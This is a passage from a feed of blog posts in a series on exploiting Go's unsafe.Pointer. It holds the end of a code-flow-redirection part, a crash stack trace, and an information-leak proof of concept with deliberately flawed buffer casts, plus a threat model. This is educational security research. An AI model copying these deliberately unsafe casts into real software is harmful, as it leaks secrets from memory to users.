000000c000070ef8:  00000000004c0dd6  0000000000000001 
000000c000070f08:  0000000000000001  0000000000000000 
000000c000070f18:  000000c000070f58  0000000000430404 &amp;lt;runtime.gwrite+164&amp;gt; 
000000c000070f28:  0000000000000002  00000000004c0dd6 
000000c000070f38:  0000000000000001  0000000000000001 
000000c000070f48:  000000c000070fbc  000000000000000c 
000000c000070f58:  000000c000070fa8  0000000000430c28 &amp;lt;runtime.printstring+120&amp;gt; 
000000c000070f68:  000000000042ed97 &amp;lt;runtime.fatalthrow+87&amp;gt;  000000c000070f78 
000000c000070f78:  0000000000458580 &amp;lt;runtime.fatalthrow.func1+0&amp;gt;  000000c000000180 
000000c000070f88:  000000000042ebd2 &amp;lt;runtime.throw+114&amp;gt;  000000c000070fa8 
000000c000070f98:  000000c000070fc8  000000000042ebd2 &amp;lt;runtime.throw+114&amp;gt; 
000000c000070fa8:  000000c000070fb0  0000000000458500 &amp;lt;runtime.throw.func1+0&amp;gt; 
000000c000070fb8:  00000000004c1077  0000000000000005 
000000c000070fc8:  000000c000070ff8  00000000004429dc &amp;lt;runtime.sigpanic+972&amp;gt; 
000000c000070fd8: &amp;lt;00000000004c1077  0000000000000005 
000000c000070fe8:  0000000000000000  000000c000072000 
000000c000070ff8:  0000000000000000 
runtime.sigpanic&lt;span class="o"&gt;()&lt;/span&gt;
    /usr/lib/go/src/runtime/signal_unix.go:694 +0x3cc &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000071008 &lt;span class="nv"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000070fd8 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x4429dc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Quite obvious from the big stack trace, we see that the program crashed. But more importantly, we see the &lt;code&gt;win!&lt;/code&gt; output right at the top, which means that the &lt;code&gt;win&lt;/code&gt; function was indeed executed. We don't actually care about the program crash, the objective was to decide which code should be executed and this was successful!&lt;/p&gt;
&lt;h2&gt;
  
  
  Complete POC code
&lt;/h2&gt;

&lt;p&gt;You can read the full POC code in the Github repository that I created for this post series:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/jlauinger" rel="noopener noreferrer"&gt;
        jlauinger
      &lt;/a&gt; / &lt;a href="https://github.com/jlauinger/go-unsafepointer-poc" rel="noopener noreferrer"&gt;
        go-unsafepointer-poc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Golang example code showing dangers with unsafe.Pointer usages
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  Acknowledgments
&lt;/h2&gt;

&lt;p&gt;This blog post was written as part of my work on my Master's thesis at the &lt;br&gt;
&lt;a href="https://www.stg.tu-darmstadt.de/stg/homepage.en.jsp" rel="noopener noreferrer"&gt;Software Technology Group&lt;/a&gt; at TU Darmstadt.&lt;/p&gt;

&lt;p&gt;Next week we are going to continue with part 3: Spawning a shell using Return Oriented Programming (ROP)&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
    </item>
    <item>
      <title>Exploitation Exercise with unsafe.Pointer in Go: Information Leak (Part 1)</title>
      <dc:creator>Johannes Lauinger</dc:creator>
      <pubDate>Wed, 13 May 2020 15:03:26 +0000</pubDate>
      <link>https://dev.to/jlauinger/exploitation-exercise-with-unsafe-pointer-in-go-information-leak-part-1-1kga</link>
      <guid>https://dev.to/jlauinger/exploitation-exercise-with-unsafe-pointer-in-go-information-leak-part-1-1kga</guid>
      <description>&lt;p&gt;Go in general is a safe language. It has memory builtin safety measures that should avoid common buffer overflow vulnerabilities, like they often exist in C programs.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;unsafe&lt;/code&gt; standard library package defeats this memory safety. With &lt;code&gt;unsafe.Pointer&lt;/code&gt;, we can create a pointer of arbitrary type. The compiler can't and won't enforce safety measures on this type of pointer.&lt;/p&gt;

&lt;p&gt;In this first of a four-part series on practically exploiting &lt;code&gt;unsafe.Pointer&lt;/code&gt; usage, we will cover the possibilities that come with &lt;code&gt;unsafe.Pointer&lt;/code&gt; and look at a first potential vulnerability: an information leak.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parts
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Information leak (enjoy!)&lt;/li&gt;
&lt;li&gt;Code flow redirection (next week and so on)&lt;/li&gt;
&lt;li&gt;ROP and spawning a shell&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SliceHeader&lt;/code&gt; literals&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What is this about?
&lt;/h2&gt;

&lt;p&gt;So why did I write this blog post? I am a computer science student at TU Darmstadt, Germany. I am currently writing my Master's thesis on an analysis of real-world usage patterns of the Go &lt;code&gt;unsafe&lt;/code&gt; package. As part of the research, I look into actual use cases of &lt;code&gt;unsafe.Pointer&lt;/code&gt; references in the biggest open source Go projects, analyze and categorize them, and identify potentially dangerous patterns and vulnerabilities. I am also comparing the unsafe features of Go to the &lt;a href="https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html"&gt;unsafe mode in Rust&lt;/a&gt;, as there are some similarities.&lt;/p&gt;

&lt;p&gt;As a first step in finding out which usage patterns are dangerous, I created some artificial proof of concepts that demonstrate applications that are vulnerable due to a wrong use of &lt;code&gt;unsafe.Pointer&lt;/code&gt;. While doing this, I thought this could be an interesting read or even short exercise for Go developers. If you have some ideas or thoughts on this topic, I'd be very happy to know!&lt;/p&gt;

&lt;p&gt;So grab your favorite beverage, fire up your code editor of choice, and enjoy this little journey covering different types of vulnerabilities. We will look at the exact problem in the code and explain why it arises, and discuss possible means of introducing such a problem in the real world.&lt;/p&gt;

&lt;h2&gt;
  
  
  Buffer overflows, part 1: the stack layout
&lt;/h2&gt;

&lt;p&gt;Let's start with a short discussion of the stack. A stack is a data structure that grows like a tower of things. New items can be pushed onto the stack, and items on the stack can be removed or popped. A CPU uses a stack to keep track of data that is meaningful in the current context. Most importantly, it is used for calling functions. The stack used in the &lt;code&gt;x86_64&lt;/code&gt; architecture is an area in the RAM which is identified by the stack pointer register &lt;code&gt;$rsp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pushing something onto the stack is done by decrementing the stack pointer (&lt;code&gt;$rsp&lt;/code&gt;) by some amount, e.g. a word (8 byte on 64-bit architecture). Then the data is written to the address where &lt;code&gt;$rsp&lt;/code&gt; now points to. Decrementing the stack pointer marks the memory region as belonging to the stack. When popping values from the stack, &lt;code&gt;$rsp&lt;/code&gt; is incremented again, marking the memory region as free again. Because &lt;code&gt;$rsp&lt;/code&gt; decrements with new data, we can say that the stack grows to the bottom, starting from high addresses in memory and growing to low addresses.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NVbaxU8Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/stack.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NVbaxU8Y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/stack.png" alt="Stack Visualization"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When the current program calls a function, the return address as well as some function parameters (more on this in part 3 of this series) are pushed onto the stack, and the processor jumps to the first instruction of the function. This jump is done by setting the instruction pointer register &lt;code&gt;$rip&lt;/code&gt;. Then, when the function returns (by executing the &lt;code&gt;ret&lt;/code&gt; instruction), the return address is popped from the stack and put into the &lt;code&gt;$rip&lt;/code&gt; register. More on this can be read in Eli Bendersky's article &lt;a href="https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86"&gt;Where the top of the stack is on x86&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The function can store local variables on the stack (inside its so-called stack frame). These are pushed onto the stack after the return address and saved registers, meaning the variables are at lower memory addresses than the return address. Furthermore, variables on the stack are located directly next to each other. This is why bounds checking is very important for buffers. Reading or writing outside the bounds of a variable means we are reading or writing other variables. We call this buffer overflow.&lt;/p&gt;

&lt;p&gt;This is a visualization of a stack frame for a function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xDiV0sEM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/frame.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xDiV0sEM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/frame.png" alt="Stack Frame Layout"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Go memory safety
&lt;/h2&gt;

&lt;p&gt;Go employs some safety techniques that prevent buffer overflows, among other vulnerabilities. The type system strictly encodes the buffer length of variables, e.g. we have &lt;code&gt;[8]byte&lt;/code&gt; and &lt;code&gt;[16]byte&lt;/code&gt; as completely different types with no casting from the short buffer to the long buffer. This prevents the misuse of memory regions which will eventually lead&lt;br&gt;
to a potentially exploitable buffer overflow.&lt;/p&gt;

&lt;p&gt;Dangerous operations common to C programs such as pointer casting and the infamous, no-bounds-checking &lt;code&gt;gets()&lt;/code&gt; function are therefore impossible with safe Go programs.&lt;/p&gt;

&lt;p&gt;However, there exists the &lt;code&gt;unsafe&lt;/code&gt; package and with it the &lt;a href="https://golang.org/pkg/unsafe"&gt;&lt;code&gt;unsafe.Pointer&lt;/code&gt; type&lt;/a&gt;. This pointer type is special in that it can participate in type operations that would otherwise be forbidden:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;we can cast any pointer type into &lt;code&gt;unsafe.Pointer&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;we can cast &lt;code&gt;unsafe.Pointer&lt;/code&gt; into any pointer type&lt;/li&gt;
&lt;li&gt;we can cast &lt;code&gt;unsafe.Pointer&lt;/code&gt; into &lt;code&gt;uintptr&lt;/code&gt;, which is essentially the address as an integer&lt;/li&gt;
&lt;li&gt;we can cast &lt;code&gt;uintptr&lt;/code&gt; into &lt;code&gt;unsafe.Pointer&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Points 1 and 2 allow type-casting between arbitrary types, and points 3 and 4 allow pointer arithmetic. With these powers however comes great responsibility: using them removes the safety net of Go, meaning we're back at the security madness of plain C code. The &lt;code&gt;unsafe&lt;/code&gt; package must therefore be used only with extreme caution.&lt;/p&gt;

&lt;p&gt;Check out Vincent Blanchon's article &lt;a href="https://medium.com/a-journey-with-go/go-what-is-the-unsafe-package-d2443da36350"&gt;Go: What is the Unsafe Package&lt;/a&gt; for some more details on the possibilities and implications of unsafe Go code.&lt;/p&gt;

&lt;p&gt;There are some legitimate use cases for &lt;code&gt;unsafe.Pointer&lt;/code&gt; references. Maybe the most important is low-level memory housekeeping operations. For example, the Go standard library itself uses the &lt;code&gt;unsafe&lt;/code&gt; package for things like stack allocation and freeing. As a developer, you might need type casting between data structures with the same underlying structure, which might not be possible with standard, safe Go &lt;code&gt;struct&lt;/code&gt; types. This can provide some extra performance because you might safe time and memory by not creating an unnecessary copy of the data.&lt;/p&gt;

&lt;p&gt;In general, Go memory safety is based on static code analysis at compile time. It uses a conservative approach by design, because when the compiler can not deduce whether a certain program is safe or not, it has to treat it as unsafe. Therefore, you might write a program for which you as the developer know it will be safe at all times, yet the compiler is unable to proof it. In this case, you can use &lt;code&gt;unsafe&lt;/code&gt; to tell the compiler that you guarantee the program is correct. &lt;/p&gt;

&lt;p&gt;In the following proof of concepts, we will demonstrate some of the potential vulnerabilities that can be introduced surprisingly easy when using &lt;code&gt;unsafe.Pointer&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Information leak POC
&lt;/h2&gt;

&lt;p&gt;In this short proof of concept, let's assume there is a buffer of public data. It is called &lt;code&gt;harmlessData&lt;/code&gt; and it might store e.g. the version of the program, or the public display name of a logged-in user.&lt;/p&gt;

&lt;p&gt;Behind it, there is a declaration of a secret data buffer. For the sake of the argument, imagine that it might be some private information about a logged-in user, e.g. their password hash or a certificate private key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// this could be some public information, e.g. version information&lt;/span&gt;
    &lt;span class="n"&gt;harmlessData&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c"&gt;// however, this could be critical private information such as a private key&lt;/span&gt;
    &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;17&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sc"&gt;'l'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'3'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'3'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'t'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'-'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'h'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'4'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'x'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'x'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'-'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'n'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'s'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'!'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Next, the buffer is cast into &lt;code&gt;[17]byte&lt;/code&gt;. Using the &lt;code&gt;unsafe.Pointer&lt;/code&gt; type, we can do any type casting we want, defeating the Go memory safety measures. Here, we cast the buffer into a new byte buffer, but with a bigger size. After this, we print the new (dangerous) buffer.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight go"&gt;&lt;code&gt;    &lt;span class="c"&gt;// ...&lt;/span&gt;
    &lt;span class="c"&gt;// (accidentally) cast harmless buffer into a new buffer type of wrong size&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;dangerousData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="m"&gt;17&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;harmlessData&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

    &lt;span class="c"&gt;// print (misused) buffer&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;dangerousData&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Running this script will read the newly created, dangerous buffer. The length information will be inappropriate, and thus the program will read memory after the end of the harmless data, revealing the secret data:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;go run main.go 
AAAAAAAAl33t-h4xx0r-w1ns!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This is an information leak, because we read and send more data than we wanted.&lt;/p&gt;

&lt;p&gt;But how could this ever happen? Let's assess a threat model!&lt;/p&gt;
&lt;h2&gt;
  
  
  Threat model
&lt;/h2&gt;

&lt;p&gt;Admittedly, when the buffer definition and cast are located very close to each other, it is hard to imagine that such a bug would go unnoticed in a production software project. But I would argue that it is far less unlikely for such mistakes to happen if we add some human factors into the equation.&lt;/p&gt;

&lt;p&gt;Imagine you work at a large software company which is building some application that has a client/server communication model. The development of the server and client applications has been separated into different teams, and you work in the server team. Now, at some meeting a couple of months ago, you and your colleagues drafted and agreed upon an API specification for the binary communications protocol that you want to use between the client and server. The protocol features a request definition that the client sends to the server. The request data is serialized into a binary stream. Its structure looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CmIINbHl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/protocol.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CmIINbHl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/protocol.png" alt="Binary protocol structure"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is a super simple protocol that doesn't even feature variable-length messages. It is just a static byte object with a version, message type, and the actual data. Similar to the request, there is also a response type that looks the same. Now, you and your team printed the diagram weeks ago and put it on your wall to ensure all developers can see it promptly. But what none of you realized is that the client development team agreed on a new version of the protocol, which has a 256 bytes data field to reduce the over-the-wire packet size.&lt;/p&gt;

&lt;p&gt;When you implement the server, you are now adding a simple buffer to store request and response objects for later processing. You look at the diagram on the wall and determine that the size of protocol messages is guaranteed to be exactly 516 byte, so initialize a &lt;code&gt;[516]byte&lt;/code&gt; variable. To avoid unnecessary copying of the data structure before reaching your buffering function, your team has decided to pass along a reference to the request object. You are using an &lt;code&gt;unsafe.Pointer&lt;/code&gt; reference to simplify casting operations. The function you are implementing looks like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;buffer_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;516&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;
    &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;516&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;// use buf for some operations&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Now, the problem is that the &lt;code&gt;req&lt;/code&gt; parameter, referencing the source data structure somewhere in memory, was created with the new protocol version in mind, i.e. the request packet only takes 260 bytes. But your new buffer is reading 516 bytes, that is 256 bytes too many! When the buffer is sent somewhere else, or shown to the user, you might read and publish 256 extra bytes, containing potentially secret information.&lt;/p&gt;

&lt;p&gt;A similar thing could happen in the other direction, when the response object is used.&lt;/p&gt;

&lt;p&gt;When you push this new function, and your team does a thorough code review, all your colleagues see the buffer allocation, immediately look at the wall and verify that the request data packet indeed takes exactly 516 bytes. None of them catches the mistake and the software is shipped.&lt;/p&gt;

&lt;p&gt;The problem was not a miscalculation, but a miscommunication within the organization, combined with a lack of defensive programming techniques and a missing mindset of the dangers that come with the use of &lt;code&gt;unsafe.Pointer&lt;/code&gt; references.&lt;/p&gt;

&lt;p&gt;By the way, reading and sending more data than the correct amount might make you remember one of the most dangerous bugs of recent times: the famous &lt;a href="https://heartbleed.com"&gt;Heartbleed bug in OpenSSL&lt;/a&gt; (CVE-2014-0160), where a missing bounds check caused a read buffer overrun and leaked private information from the process's memory. However, this example is different in that the length is &lt;strong&gt;not provided by an attacker&lt;/strong&gt;. The length information that OpenSSL failed to verify was supplied as part of the input data to OpenSSL. Here, I crafted an example where the length mismatch is statically coded into the binary because of a mistake the programmers made. A user-supplied length overrun is much more dangerous because it does not cause problems in every run of the software, which makes it even harder to detect.&lt;/p&gt;

&lt;p&gt;An example more similar to the Heartbleed bug would require a protocol definition with a &lt;code&gt;length&lt;/code&gt; field, and a server application crafting a buffer using that length information. This is possible when manually crafting slices in Go using the &lt;code&gt;reflect.SliceHeader&lt;/code&gt; structure, and we will explore that in the next part of this series!&lt;/p&gt;
&lt;h2&gt;
  
  
  Proof of concept code
&lt;/h2&gt;

&lt;p&gt;I published the proof of concept code for this post, as well as the code for the following parts 2 to 4, in a Github repository:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/jlauinger"&gt;
        jlauinger
      &lt;/a&gt; / &lt;a href="https://github.com/jlauinger/go-unsafepointer-poc"&gt;
        go-unsafepointer-poc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Golang example code showing dangers with unsafe.Pointer usages
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;If you'd like to check out the complete code and run it for yourself, you can save yourself some typing by using this repository.&lt;/p&gt;

&lt;h2&gt;
  
  
  Acknowledgments
&lt;/h2&gt;

&lt;p&gt;This blog post was written as part of my work on my Master's thesis at the &lt;a href="https://www.stg.tu-darmstadt.de/stg/homepage.en.jsp"&gt;Software Technology Group&lt;/a&gt; at TU Darmstadt.&lt;/p&gt;

&lt;p&gt;Title picture by Maria Letta. Thanks a lot for her excellent &lt;a href="https://github.com/MariaLetta/free-gophers-pack"&gt;Free Gophers Pack&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Next week we are going to continue with part 2: Code flow redirection!&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
    </item>
  </channel>
</rss>
